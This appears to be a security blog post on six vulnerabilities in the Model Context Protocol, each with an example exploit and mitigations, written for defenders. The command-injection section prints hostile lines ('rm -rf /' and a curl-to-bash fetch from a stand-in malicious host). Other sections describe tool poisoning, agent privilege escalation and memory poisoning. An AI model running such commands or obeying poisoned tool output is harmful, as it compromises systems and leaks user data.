The Model Context Protocol (MCP) has rapidly become the de facto standard for connecting LLM-based AI agents to external tools, plugins, and data sources. Often described as the “USB-C for AI agents,” MCP enables a plug-and-play approach where AI models can fetch data, issue commands, and interact with services through a unified interface.
But with great flexibility comes great risk.
As MCP adoption grows, so does the security scrutiny around it. Recent findings reveal that MCP is not secure by default—a troubling realization for developers who may be unknowingly exposing sensitive infrastructure to attack. In this blog, we’ll explore six major vulnerabilities in MCP, the potential impact of each, and how to mitigate these threats.
🔓 1. Command Injection
Risk Level: Critical
Impact: Remote code execution, system compromise
MCP allows LLMs to call external tools through structured interfaces—but those tools often end up invoking shell commands or APIs that are susceptible to injection. A prompt that subtly manipulates parameters (e.g., injecting ; rm -rf /) could trick the underlying system into executing unintended code.
Example Exploit:
A malicious input like "run_analysis && curl malicious.site/script.sh | bash" could be interpreted as a legitimate command by a poorly sanitized tool endpoint.
Mitigation:
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Use strict input validation and sandboxing
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Avoid passing user input directly to shells or system-level commands
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Log and monitor agent-tool interactions
🧪 2. Tool Poisoning
Risk Level: High
Impact: Corrupted decision-making, model manipulation
When MCP-connected tools feed data back into an AI agent's context, that feedback loop can be exploited. A compromised tool might return biased, misleading, or maliciously crafted data that warps the LLM’s future behavior or decisions.
Example Exploit:
A “weather API” tool injected with adversarial data can prime the model to recommend dangerous travel decisions or propagate misinformation.
Mitigation:
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Validate and verify responses from tools
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Use checksum/hash-based data integrity verification
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Introduce tool trust scores or provenance tagging
📡 3. Server-Sent Events Problem
Risk Level: Moderate
Impact: Data leakage, denial of service
MCP often relies on server-sent events (SSE) to stream responses to LLM agents. If improperly handled, SSE streams can be hijacked, interrupted, or used to exfiltrate sensitive data.
Example Exploit:
An attacker could create a tool that returns a never-ending SSE stream, exhausting agent resources or leaking internal state via chunked responses.
Mitigation:
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Enforce strict timeouts and data limits
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Sanitize and inspect streamed data
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Monitor agent behavior for abnormal patterns
🚨 4. Privilege Escalation
Risk Level: High
Impact: Unauthorized access to higher-level system functions
If an AI agent is granted access to multiple tools or system roles, improper permission boundaries can let malicious prompts elevate access. A seemingly harmless call to one tool could trigger actions in another context with more privileges.
Example Exploit:
An attacker gains access to a file-reading tool, then uses prompt engineering to get the agent to access environment variables or database credentials from another connected service.
Mitigation:
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Implement strict role-based access control (RBAC)
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Use tool scopes and permission gating
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Log cross-tool interactions for auditability
♻️ 5. Persistent Context
Risk Level: Moderate
Impact: Long-term leakage of sensitive information
MCP encourages the idea of persistent memory—carrying context between agent sessions. While useful for continuity, this persistence can also allow private data, credentials, or prompts to linger far longer than intended.
Example Exploit:
A malicious prompt from Session A can bury secrets in memory that are later surfaced in Session B, unintentionally exposing them to other users or systems.
Mitigation:
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Use context expiration policies
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Encrypt and segregate persistent state
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Enable user-controlled memory inspection and deletion
🏴☠️ 6. Server Data Takeover
Risk Level: Critical
Impact: Full compromise of data stores or APIs
In setups where MCP-connected agents have write access to databases, APIs, or cloud resources, a successful attack could escalate to complete control of the backend. This is often enabled by lax authentication or over-trusting the AI agent's autonomy.
Example Exploit:
An agent given write access to a content management system (CMS) is tricked into replacing all pages with phishing content or deleting key datasets.
Mitigation:
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Never give agents full write access without oversight
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Require human-in-the-loop for high-impact actions
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Use ACLs and signed requests for verification
🔍 Risk Evaluation
| Vulnerability | Risk Level | Exploitability | Impact | Mitigation Complexity |
|---|---|---|---|---|
| Command Injection | Critical | High | High | Moderate |
| Tool Poisoning | High | Medium | High | High |
| Server-Sent Events | Moderate | High | Medium | Low |
| Privilege Escalation | High | Medium | High | High |
| Persistent Context | Moderate | Low | Medium | Low |
| Server Data Takeover | Critical | Medium | Critical | High |
🧩 Conclusion
MCP opens up powerful new workflows for LLM agents, making AI integration feel as seamless as plugging in a USB device. But with that power comes risk. MCP is not secure out of the box, and treating it as such invites a host of threats—from command injection to infrastructure takeover.
As the ecosystem matures, security must evolve from an afterthought to a design principle. Developers and AI engineers integrating MCP into their stacks should treat agent-tool interaction as a high-risk interface—and secure it accordingly.
Remember: if your AI agent can issue commands, access APIs, and hold memory, you’re not just giving it a voice. You’re potentially handing it the keys to your infrastructure.